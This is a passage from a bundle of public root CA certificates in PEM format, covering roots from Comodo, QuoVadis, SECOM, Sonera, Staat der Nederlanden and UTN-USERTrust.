ADCCAQoCggEBAMBxM4KK0HDrc4eCQNUd5MvJDkKQ+d40uaG6EfQlhfPMcm3ye5drswfxdySRXyWP 9nQ95IDC+DwN879A6vfIUtFyb+/Iq0G4bi4XKpVpDM3SHpR7LZQdqnXXs5jLrLxkU0C8j6ysNstc rbvd4JQX7NFc0L/vpZXJkMWwrPsbQ996CF23uPJAGysnnlDOXmWCiIxe004MeuoIkbY2qitC++rC oznl2yY4rYsK7hljxxwk3wN42ubqwUcaCwtGCd0C/N7Lh1/XMGNooa7cMqG6vv5Eq2i2pRcV/b3V p6ea5EQz6YiO/O1R65NxTq0B50SOqy3LqP4BSUjwwN3HaNiS/j0CAwEAAaOBxzCBxDAdBgNVHQ4E FgQUPNiTiMLAggnMAZkGkyDpnnAJY08wDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8w gYEGA1UdHwR6MHgwO6A5oDeGNWh0dHA6Ly9jcmwuY29tb2RvY2EuY29tL1NlY3VyZUNlcnRpZmlj YXRlU2VydmljZXMuY3JsMDmgN6A1hjNodHRwOi8vY3JsLmNvbW9kby5uZXQvU2VjdXJlQ2VydGlm aWNhdGVTZXJ2aWNlcy5jcmwwDQYJKoZIhvcNAQEFBQADggEBAIcBbSMdflsXfcFhMs+P5/OKlFlm 4J4oqF7Tt/Q05qo5spcWxYJvMqTpjOev/e/C6LlLqqP05tqNZSH7uoDrJiiFGv45jN5bBAS0VPmj Z55B+glSzAVIqMk/IQQezkhr/IXownuvf7fM+F86/TXGDe+X3EyrEeFryzHRbPtIgKvcnDe4IRRL DXE97IMzbtFuMhbsmMcWi1mmNKsFVy2T96oTy9IT4rcuO81rUBcJaD61JlfutuC23bkpgHl9j6Pw pCikFcSF9CfUa7/lXORlAnZUtOM3ZiTTGWHIUhDlizeauan5Hb/qmZJhlv8BzaFfDbxxvA6sCx1H RR3B7Hzs/Sk= -----END CERTIFICATE----- Comodo Trusted Services root ============================ -----BEGIN CERTIFICATE----- MIIEQzCCAyugAwIBAgIBATANBgkqhkiG9w0BAQUFADB/MQswCQYDVQQGEwJHQjEbMBkGA1UECAwS R3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHDAdTYWxmb3JkMRowGAYDVQQKDBFDb21vZG8gQ0Eg TGltaXRlZDElMCMGA1UEAwwcVHJ1c3RlZCBDZXJ0aWZpY2F0ZSBTZXJ2aWNlczAeFw0wNDAxMDEw MDAwMDBaFw0yODEyMzEyMzU5NTlaMH8xCzAJBgNVBAYTAkdCMRswGQYDVQQIDBJHcmVhdGVyIE1h bmNoZXN0ZXIxEDAOBgNVBAcMB1NhbGZvcmQxGjAYBgNVBAoMEUNvbW9kbyBDQSBMaW1pdGVkMSUw IwYDVQQDDBxUcnVzdGVkIENlcnRpZmljYXRlIFNlcnZpY2VzMIIBIjANBgkqhkiG9w0BAQEFAAOC AQ8AMIIBCgKCAQEA33FvNlhTWvI2VFeAxHQIIO0Yfyod5jWaHiWsnOWWfnJSoBVC21ndZHoa0Lh7 3TkVvFVIxO06AOoxEbrycXQaZ7jPM8yoMa+j49d/vzMtTGo87IvDktJTdyR0nAducPy9C1t2ul/y /9c3S0pgePfw+spwtOpZqqPOSC+pw7ILfhdyFgymBwwbOM/JYrc/oJOlh0Hyt3BAd9i+FHzjqMB6 juljatEPmsbS9Is6FARW1O24zG71++IsWL1/T2sr92AkWCTOJu80kTrV44HQsvAEAtdbtz6SrGsS ivnkBbA7kUlcsutT6vifR4buv5XAwAaf0lteERv0xwQ1KdJVXOTt6wIDAQABo4HJMIHGMB0GA1Ud DgQWBBTFe1i97doladL3WRaoszLAeydb9DAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB /zCBgwYDVR0fBHwwejA8oDqgOIY2aHR0cDovL2NybC5jb21vZG9jYS5jb20vVHJ1c3RlZENlcnRp ZmljYXRlU2VydmljZXMuY3JsMDqgOKA2hjRodHRwOi8vY3JsLmNvbW9kby5uZXQvVHJ1c3RlZENl cnRpZmljYXRlU2VydmljZXMuY3JsMA0GCSqGSIb3DQEBBQUAA4IBAQDIk4E7ibSvuIQSTI3S8Ntw uleGFTQQuS9/HrCoiWChisJ3DFBKmwCL2Iv0QeLQg4pKHBQGsKNoBXAxMKdTmw7pSqBYaWcOrp32 pSxBvzwGa+RZzG0Q8ZZvH9/0BAKkn0U+yNj6NkZEUD+Cl5EfKNsYEYwq5GWDVxISjBc/lDb+XbDA BHcTuPQV1T84zJQ6VdCsmPW6AF/ghhmBeC8owH7TzEIK9a5QoNE+xqFx7D+gIIxmOom0jtTYsU0l R+4viMi14QVFwL4Ucd56/Y57fU0IlqUSc/AtyjcndBInTMu2l+nZrghtWjlA3QVHdWpaIbOjGM9O 9y5Xt5hwXsjEeLBi -----END CERTIFICATE----- QuoVadis Root CA ================ -----BEGIN CERTIFICATE----- MIIF0DCCBLigAwIBAgIEOrZQizANBgkqhkiG9w0BAQUFADB/MQswCQYDVQQGEwJCTTEZMBcGA1UE ChMQUXVvVmFkaXMgTGltaXRlZDElMCMGA1UECxMcUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0 eTEuMCwGA1UEAxMlUXVvVmFkaXMgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wMTAz MTkxODMzMzNaFw0yMTAzMTcxODMzMzNaMH8xCzAJBgNVBAYTAkJNMRkwFwYDVQQKExBRdW9WYWRp cyBMaW1pdGVkMSUwIwYDVQQLExxSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MS4wLAYDVQQD EyVRdW9WYWRpcyBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEAv2G1lVO6V/z68mcLOhrfEYBklbTRvM16z/Ypli4kVEAkOPcahdxYTMuk J0KX0J+DisPkBgNbAKVRHnAEdOLB1Dqr1607BxgFjv2DrOpm2RgbaIr1VxqYuvXtdj182d6UajtL F8HVj71lODqV0D1VNk7feVcxKh7YWWVJWCCYfqtffp/p1k3sg3Spx2zY7ilKhSoGFPlU5tPaZQeL YzcS19Dsw3sgQUSj7cugF+FxZc4dZjH3dgEZyH0DWLaVSR2mEiboxgx24ONmy+pdpibu5cxfvWen AScOospUxbF6lR1xHkopigPcakXBpBlebzbNw6Kwt/5cOOJSvPhEQ+aQuwIDAQABo4ICUjCCAk4w PQYIKwYBBQUHAQEEMTAvMC0GCCsGAQUFBzABhiFodHRwczovL29jc3AucXVvdmFkaXNvZmZzaG9y ZS5jb20wDwYDVR0TAQH/BAUwAwEB/zCCARoGA1UdIASCAREwggENMIIBCQYJKwYBBAG+WAABMIH7 MIHUBggrBgEFBQcCAjCBxxqBxFJlbGlhbmNlIG9uIHRoZSBRdW9WYWRpcyBSb290IENlcnRpZmlj YXRlIGJ5IGFueSBwYXJ0eSBhc3N1bWVzIGFjY2VwdGFuY2Ugb2YgdGhlIHRoZW4gYXBwbGljYWJs ZSBzdGFuZGFyZCB0ZXJtcyBhbmQgY29uZGl0aW9ucyBvZiB1c2UsIGNlcnRpZmljYXRpb24gcHJh Y3RpY2VzLCBhbmQgdGhlIFF1b1ZhZGlzIENlcnRpZmljYXRlIFBvbGljeS4wIgYIKwYBBQUHAgEW Fmh0dHA6Ly93d3cucXVvdmFkaXMuYm0wHQYDVR0OBBYEFItLbe3TKbkGGew5Oanwl4Rqy+/fMIGu BgNVHSMEgaYwgaOAFItLbe3TKbkGGew5Oanwl4Rqy+/foYGEpIGBMH8xCzAJBgNVBAYTAkJNMRkw FwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMSUwIwYDVQQLExxSb290IENlcnRpZmljYXRpb24gQXV0 aG9yaXR5MS4wLAYDVQQDEyVRdW9WYWRpcyBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5ggQ6 tlCLMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQUFAAOCAQEAitQUtf70mpKnGdSkfnIYj9lo fFIk3WdvOXrEql494liwTXCYhGHoG+NpGA7O+0dQoE7/8CQfvbLO9Sf87C9TqnN7Az10buYWnuul LsS/VidQK2K6vkscPFVcQR0kvoIgR13VRH56FmjffU1RcHhXHTMe/QKZnAzNCgVPx7uOpHX6Sm2x gI4JVrmcGmD+XcHXetwReNDWXcG31a0ymQM6isxUJTkxgXsTIlG6Rmyhu576BGxJJnSP0nPrzDCi 5upZIof4l/UO/erMkqQWxFIY6iHOsfHmhIHluqmGKPJDWl0Snawe2ajlCmqnf6CHKc/yiU3U7MXi 5nrQNiOKSnQ2+Q== -----END CERTIFICATE----- QuoVadis Root CA 2 ================== -----BEGIN CERTIFICATE----- MIIFtzCCA5+gAwIBAgICBQkwDQYJKoZIhvcNAQEFBQAwRTELMAkGA1UEBhMCQk0xGTAXBgNVBAoT EFF1b1ZhZGlzIExpbWl0ZWQxGzAZBgNVBAMTElF1b1ZhZGlzIFJvb3QgQ0EgMjAeFw0wNjExMjQx ODI3MDBaFw0zMTExMjQxODIzMzNaMEUxCzAJBgNVBAYTAkJNMRkwFwYDVQQKExBRdW9WYWRpcyBM aW1pdGVkMRswGQYDVQQDExJRdW9WYWRpcyBSb290IENBIDIwggIiMA0GCSqGSIb3DQEBAQUAA4IC DwAwggIKAoICAQCaGMpLlA0ALa8DKYrwD4HIrkwZhR0In6spRIXzL4GtMh6QRr+jhiYaHv5+HBg6 XJxgFyo6dIMzMH1hVBHL7avg5tKifvVrbxi3Cgst/ek+7wrGsxDp3MJGF/hd/aTa/55JWpzmM+Yk lvc/ulsrHHo1wtZn/qtmUIttKGAr79dgw8eTvI02kfN/+NsRE8Scd3bBrrcCaoF6qUWD4gXmuVbB lDePSHFjIuwXZQeVikvfj8ZaCuWw419eaxGrDPmF60Tp+ARz8un+XJiM9XOva7R+zdRcAitMOeGy lZUtQofX1bOQQ7dsE/He3fbE+Ik/0XX1ksOR1YqI0JDs3G3eicJlcZaLDQP9nL9bFqyS2+r+eXyt 66/3FsvbzSUr5R/7mp/iUcw6UwxI5g69ybR2BlLmEROFcmMDBOAENisgGQLodKcftslWZvB1Jdxn wQ5hYIizPtGo/KPaHbDRsSNU30R2be1B2MGyIrZTHN81Hdyhdyox5C315eXbyOD/5YDXC2Og/zOh D7osFRXql7PSorW+8oyWHhqPHWykYTe5hnMz15eWniN9gqRMgeKh0bpnX5UHoycR7hYQe7xFSkyy BNKr79X9DFHOUGoIMfmR2gyPZFwDwzqLID9ujWc9Otb+fVuIyV77zGHcizN300QyNQliBJIWENie J0f7OyHj+OsdWwIDAQABo4GwMIGtMA8GA1UdEwEB/wQFMAMBAf8wCwYDVR0PBAQDAgEGMB0GA1Ud DgQWBBQahGK8SEwzJQTU7tD2A8QZRtGUazBuBgNVHSMEZzBlgBQahGK8SEwzJQTU7tD2A8QZRtGU a6FJpEcwRTELMAkGA1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxGzAZBgNVBAMT ElF1b1ZhZGlzIFJvb3QgQ0EgMoICBQkwDQYJKoZIhvcNAQEFBQADggIBAD4KFk2fBluornFdLwUv Z+YTRYPENvbzwCYMDbVHZF34tHLJRqUDGCdViXh9duqWNIAXINzng/iN/Ae42l9NLmeyhP3ZRPx3 UIHmfLTJDQtyU/h2BwdBR5YM++CCJpNVjP4iH2BlfF/nJrP3MpCYUNQ3cVX2kiF495V5+vgtJodm VjB3pjd4M1IQWK4/YY7yarHvGH5KWWPKjaJW1acvvFYfzznB4vsKqBUsfU16Y8Zsl0Q80m/DShcK +JDSV6IZUaUtl0HaB0+pUNqQjZRG4T7wlP0QADj1O+hA4bRuVhogzG9Yje0uRY/W6ZM/57Es3zrW IozchLsib9D45MY56QSIPMO661V6bYCZJPVsAfv4l7CUW+v90m/xd2gNNWQjrLhVoQPRTUIZ3Ph1 WVaj+ahJefivDrkRoHy3au000LYmYjgahwz46P0u05B/B5EqHdZ+XIWDmbA4CD/pXvk1B+TJYm5X f6dQlfe6yJvmjqIBxdZmv3lh8zwc4bmCXF2gw+nYSL0ZohEUGW6yhhtoPkg3Goi3XZZenMfvJ2II 4pEZXNLxId26F0KCl3GBUzGpn/Z9Yr9y4aOTHcyKJloJONDO1w2AFrR4pTqHTI2KpdVGl/IsELm8 VCLAAVBpQ570su9t+Oza8eOx79+Rj1QqCyXBJhnEUhAFZdWCEOrCMc0u -----END CERTIFICATE----- QuoVadis Root CA 3 ================== -----BEGIN CERTIFICATE----- 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 -----END CERTIFICATE----- Security Communication Root CA ============================== -----BEGIN CERTIFICATE----- MIIDWjCCAkKgAwIBAgIBADANBgkqhkiG9w0BAQUFADBQMQswCQYDVQQGEwJKUDEYMBYGA1UEChMP U0VDT00gVHJ1c3QubmV0MScwJQYDVQQLEx5TZWN1cml0eSBDb21tdW5pY2F0aW9uIFJvb3RDQTEw HhcNMDMwOTMwMDQyMDQ5WhcNMjMwOTMwMDQyMDQ5WjBQMQswCQYDVQQGEwJKUDEYMBYGA1UEChMP U0VDT00gVHJ1c3QubmV0MScwJQYDVQQLEx5TZWN1cml0eSBDb21tdW5pY2F0aW9uIFJvb3RDQTEw ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCzs/5/022x7xZ8V6UMbXaKL0u/ZPtM7orw 8yl89f/uKuDp6bpbZCKamm8sOiZpUQWZJtzVHGpxxpp9Hp3dfGzGjGdnSj74cbAZJ6kJDKaVv0uM DPpVmDvY6CKhS3E4eayXkmmziX7qIWgGmBSWh9JhNrxtJ1aeV+7AwFb9Ms+k2Y7CI9eNqPPYJayX 5HA49LY6tJ07lyZDo6G8SVlyTCMwhwFY9k6+HGhWZq/NQV3Is00qVUarH9oe4kA92819uZKAnDfd DJZkndwi92SL32HeFZRSFaB9UslLqCHJxrHty8OVYNEP8Ktw+N/LTX7s1vqr2b1/VPKl6Xn62dZ2 JChzAgMBAAGjPzA9MB0GA1UdDgQWBBSgc0mZaNyFW2XjmygvV5+9M7wHSDALBgNVHQ8EBAMCAQYw DwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAaECpqLvkT115swW1F7NgE+vGkl3g 0dNq/vu+m22/xwVtWSDEHPC32oRYAmP6SBbvT6UL90qY8j+eG61Ha2POCEfrUj94nK9NrvjVT8+a mCoQQTlSxN3Zmw7vkwGusi7KaEIkQmywszo+zenaSMQVy+n5Bw+SUEmK3TGXX8npN6o7WWWXlDLJ s58+OmJYxUmtYg5xpTKqL8aJdkNAExNnPaJUJRDL8Try2frbSVa7pv6nQTXD4IhhyYjH3zYQIphZ 6rBK+1YWc26sTfcioU+tHXotRSflMMFe8toTyyVCUZVHA4xsIcx0Qu1T/zOLjw9XARYvz6buyXAi FL39vmwLAw== -----END CERTIFICATE----- Sonera Class 2 Root CA ====================== -----BEGIN CERTIFICATE----- MIIDIDCCAgigAwIBAgIBHTANBgkqhkiG9w0BAQUFADA5MQswCQYDVQQGEwJGSTEPMA0GA1UEChMG U29uZXJhMRkwFwYDVQQDExBTb25lcmEgQ2xhc3MyIENBMB4XDTAxMDQwNjA3Mjk0MFoXDTIxMDQw NjA3Mjk0MFowOTELMAkGA1UEBhMCRkkxDzANBgNVBAoTBlNvbmVyYTEZMBcGA1UEAxMQU29uZXJh IENsYXNzMiBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJAXSjWdyvANlsdE+hY3 /Ei9vX+ALTU74W+oZ6m/AxxNjG8yR9VBaKQTBME1DJqEQ/xcHf+Js+gXGM2RX/uJ4+q/Tl18GybT dXnt5oTjV+WtKcT0OijnpXuENmmz/V52vaMtmdOQTiMofRhj8VQ7Jp12W5dCsv+u8E7s3TmVToMG f+dJQMjFAbJUWmYdPfz56TwKnoG4cPABi+QjVHzIrviQHgCWctRUz2EjvOr7nQKV0ba5cTppCD8P tOFCx4j1P5iop7oc4HFx71hXgVB6XGt0Rg6DA5jDjqhu8nYybieDwnPz3BjotJPqdURrBGAgcVeH nfO+oJAjPYok4doh28MCAwEAAaMzMDEwDwYDVR0TAQH/BAUwAwEB/zARBgNVHQ4ECgQISqCqWITT XjwwCwYDVR0PBAQDAgEGMA0GCSqGSIb3DQEBBQUAA4IBAQBazof5FnIVV0sd2ZvnoiYw7JNn39Yt 0jSv9zilzqsWuasvfDXLrNAPtEwr/IDva4yRXzZ299uzGxnq9LIR/WFxRL8oszodv7ND6J+/3DEI cbCdjdY0RzKQxmUk96BKfARzjzlvF4xytb1LyHr4e4PDKE6cCepnP7JnBBvDFNr450kkkdAdavph Oe9r5yF1BgfYErQhIHBCcYHaPJo2vqZbDWpsmh+Re/n570K6Tk6ezAyNlNzZRZxe7EJQY670XcSx EtzKO6gunRRaBXW37Ndj4ro1tgQIkejanZz2ZrUYrAqmVCY0M9IbwdR/GjqOC6oybtv8TyWf2TLH llpwrN9M -----END CERTIFICATE----- Staat der Nederlanden Root CA ============================= -----BEGIN CERTIFICATE----- MIIDujCCAqKgAwIBAgIEAJiWijANBgkqhkiG9w0BAQUFADBVMQswCQYDVQQGEwJOTDEeMBwGA1UE ChMVU3RhYXQgZGVyIE5lZGVybGFuZGVuMSYwJAYDVQQDEx1TdGFhdCBkZXIgTmVkZXJsYW5kZW4g Um9vdCBDQTAeFw0wMjEyMTcwOTIzNDlaFw0xNTEyMTYwOTE1MzhaMFUxCzAJBgNVBAYTAk5MMR4w HAYDVQQKExVTdGFhdCBkZXIgTmVkZXJsYW5kZW4xJjAkBgNVBAMTHVN0YWF0IGRlciBOZWRlcmxh bmRlbiBSb290IENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmNK1URF6gaYUmHFt vsznExvWJw56s2oYHLZhWtVhCb/ekBPHZ+7d89rFDBKeNVU+LCeIQGv33N0iYfXCxw719tV2U02P jLwYdjeFnejKScfST5gTCaI+Ioicf9byEGW07l8Y1Rfj+MX94p2i71MOhXeiD+EwR+4A5zN9RGca C1Hoi6CeUJhoNFIfLm0B8mBF8jHrqTFoKbt6QZ7GGX+UtFE5A3+y3qcym7RHjm+0Sq7lr7HcsBth vJly3uSJt3omXdozSVtSnA71iq3DuD3oBmrC1SoLbHuEvVYFy4ZlkuxEK7COudxwC0barbxjiDn6 22r+I/q85Ej0ZytqERAhSQIDAQABo4GRMIGOMAwGA1UdEwQFMAMBAf8wTwYDVR0gBEgwRjBEBgRV HSAAMDwwOgYIKwYBBQUHAgEWLmh0dHA6Ly93d3cucGtpb3ZlcmhlaWQubmwvcG9saWNpZXMvcm9v dC1wb2xpY3kwDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBSofeu8Y6R0E3QA7Jbg0zTBLL9s+DAN BgkqhkiG9w0BAQUFAAOCAQEABYSHVXQ2YcG70dTGFagTtJ+k/rvuFbQvBgwp8qiSpGEN/KtcCFtR EytNwiphyPgJWPwtArI5fZlmgb9uXJVFIGzmeafR2Bwp/MIgJ1HI8XxdNGdphREwxgDS1/PTfLbw MVcoEoJz6TMvplW0C5GUR5z6u3pCMuiufi3IvKwUv9kP2Vv8wfl6leF9fpb8cbDCTMjfRTTJzg3y nGQI0DvDKcWy7ZAEwbEpkcUwb8GpcjPM/l0WFywRaed+/sWDCN+83CI6LiBpIzlWYGeQiy52OfsR iJf2fL1LuCAWZwWN4jvBcj+UlTfHXbme2JOhF4//DGYVwSR8MnwDHTuhWEUykw== -----END CERTIFICATE----- UTN DATACorp SGC Root CA ======================== -----BEGIN CERTIFICATE----- MIIEXjCCA0agAwIBAgIQRL4Mi1AAIbQR0ypoBqmtaTANBgkqhkiG9w0BAQUFADCBkzELMAkGA1UE BhMCVVMxCzAJBgNVBAgTAlVUMRcwFQYDVQQHEw5TYWx0IExha2UgQ2l0eTEeMBwGA1UEChMVVGhl IFVTRVJUUlVTVCBOZXR3b3JrMSEwHwYDVQQLExhodHRwOi8vd3d3LnVzZXJ0cnVzdC5jb20xGzAZ BgNVBAMTElVUTiAtIERBVEFDb3JwIFNHQzAeFw05OTA2MjQxODU3MjFaFw0xOTA2MjQxOTA2MzBa MIGTMQswCQYDVQQGEwJVUzELMAkGA1UECBMCVVQxFzAVBgNVBAcTDlNhbHQgTGFrZSBDaXR5MR4w HAYDVQQKExVUaGUgVVNFUlRSVVNUIE5ldHdvcmsxITAfBgNVBAsTGGh0dHA6Ly93d3cudXNlcnRy dXN0LmNvbTEbMBkGA1UEAxMSVVROIC0gREFUQUNvcnAgU0dDMIIBIjANBgkqhkiG9w0BAQEFAAOC AQ8AMIIBCgKCAQEA3+5YEKIrblXEjr8uRgnn4AgPLit6E5Qbvfa2gI5lBZMAHryv4g+OGQ0SR+ys raP6LnD43m77VkIVni5c7yPeIbkFdicZD0/Ww5y0vpQZY/KmEQrrU0icvvIpOxboGqBMpsn0GFlo wHDyUwDAXlCCpVZvNvlK4ESGoE1O1kduSUrLZ9emxAW5jh70/P/N5zbgnAVssjMiFdC04MwXwLLA 9P4yPykqlXvY8qdOD1R8oQ2AswkDwf9c3V6aPryuvEeKaq5xyh+xKrhfQgUL7EYw0XILyulWbfXv 33i+Ybqypa4ETLyorGkVl73v67SMvzX41MPRKA5cOp9wGDMgd8SirwIDAQABo4GrMIGoMAsGA1Ud DwQEAwIBxjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRTMtGzz3/64PGgXYVOktKeRR20TzA9 BgNVHR8ENjA0MDKgMKAuhixodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vVVROLURBVEFDb3JwU0dD LmNybDAqBgNVHSUEIzAhBggrBgEFBQcDAQYKKwYBBAGCNwoDAwYJYIZIAYb4QgQBMA0GCSqGSIb3 DQEBBQUAA4IBAQAnNZcAiosovcYzMB4p/OL31ZjUQLtgyr+rFywJNn9Q+kHcrpY6CiM+iVnJowft Gzet/Hy+UUla3joKVAgWRcKZsYfNjGjgaQPpxE6YsjuMFrMOoAyYUJuTqXAJyCyjj98C5OBxOvG0 I3KgqgHf35g+FFCgMSa9KOlaMCZ1+XtgHI3zzVAmbQQnmt/VDUVHKWss5nbZqSl9Mt3JNjy9rjXx EZ4du5A/EkdOjtd+D2JzHVImOBwYSf0wdJrE5SIv2MCN7ZF6TACPcn9d2t0bi0Vr591pl6jFVkwP DPafepE39peC4N1xaf92P2BNPM/3mfnGV/TJVTl4uix5yaaIK/QI -----END CERTIFICATE----- UTN USERFirst Hardware Root CA ============================== -----BEGIN CERTIFICATE----- MIIEdDCCA1ygAwIBAgIQRL4Mi1AAJLQR0zYq/mUK/TANBgkqhkiG9w0BAQUFADCBlzELMAkGA1UE BhMCVVMxCzAJBgNVBAgTAlVUMRcwFQYDVQQHEw5TYWx0IExha2UgQ2l0eTEeMBwGA1UEChMVVGhl IFVTRVJUUlVTVCBOZXR3b3JrMSEwHwYDVQQLExhodHRwOi8vd3d3LnVzZXJ0cnVzdC5jb20xHzAd BgNVBAMTFlVUTi1VU0VSRmlyc3QtSGFyZHdhcmUwHhcNOTkwNzA5MTgxMDQyWhcNMTkwNzA5MTgx OTIyWjCBlzELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAlVUMRcwFQYDVQQHEw5TYWx0IExha2UgQ2l0 eTEeMBwGA1UEChMVVGhlIFVTRVJUUlVTVCBOZXR3b3JrMSEwHwYDVQQLExhodHRwOi8vd3d3LnVz ZXJ0cnVzdC5jb20xHzAdBgNVBAMTFlVUTi1VU0VSRmlyc3QtSGFyZHdhcmUwggEiMA0GCSqGSIb3 DQEBAQUAA4IBDwAwggEKAoIBAQCx98M4P7Sof885glFn0G2f0v9Y8+efK+wNiVSZuTiZFvfgIXlI wrthdBKWHTxqctU8EGc6Oe0rE81m65UJM6Rsl7HoxuzBdXmcRl6Nq9Bq/bkqVRcQVLMZ8Jr28bFd tqdt++BxF2uiiPsA3/4aMXcMmgF6sTLjKwEHOG7DpV4jvEWbe1DByTCP2+UretNb+zNAHqDVmBe8 i4fDidNdoI6yqqr2jmmIBsX6iSHzCJ1pLgkzmykNRg+MzEk0sGlRvfkGzWitZky8PqxhvQqIDsjf Pe58BEydCl5rkdbux+0ojatNh4lz0G6k0B4WixThdkQDf2Os5M1JnMWS9KsyoUhbAgMBAAGjgbkw gbYwCwYDVR0PBAQDAgHGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFKFyXyYbKJhDlV0HN9WF lp1L0sNFMEQGA1UdHwQ9MDswOaA3oDWGM2h0dHA6Ly9jcmwudXNlcnRydXN0LmNvbS9VVE4tVVNF UkZpcnN0LUhhcmR3YXJlLmNybDAxBgNVHSUEKjAoBggrBgEFBQcDAQYIKwYBBQUHAwUGCCsGAQUF BwMGBggrBgEFBQcDBzANBgkqhkiG9w0BAQUFAAOCAQEARxkP3nTGmZev/K0oXnWO6y1n7k57K9cM //bey1WiCuFMVGWTYGufEpytXoMs61quwOQt9ABjHbjAbPLPSbtNk28GpgoiskliCE7/yMgUsogW XecB5BKV5UU0s4tpvc+0hY91UZ59Ojg6FEgSxvunOxqNDYJAB+gECJChicsZUN/KHAG8HQQZexB2 lzvukJDKxA4fFm517zP4029bHpbj4HR3dHuKom4t3XbWOTCC8KucUvIqx69JXn7HaOWCgchqJ/kn iCrVWFCVH/A7HFe7fRQ5YiuayZSSKqMiDP+JJn1fIytH1xUdqWqeUQ0qUZ6B+dQ7XnASfxAynB67 nfhmqA== -----END CERTIFICATE----- 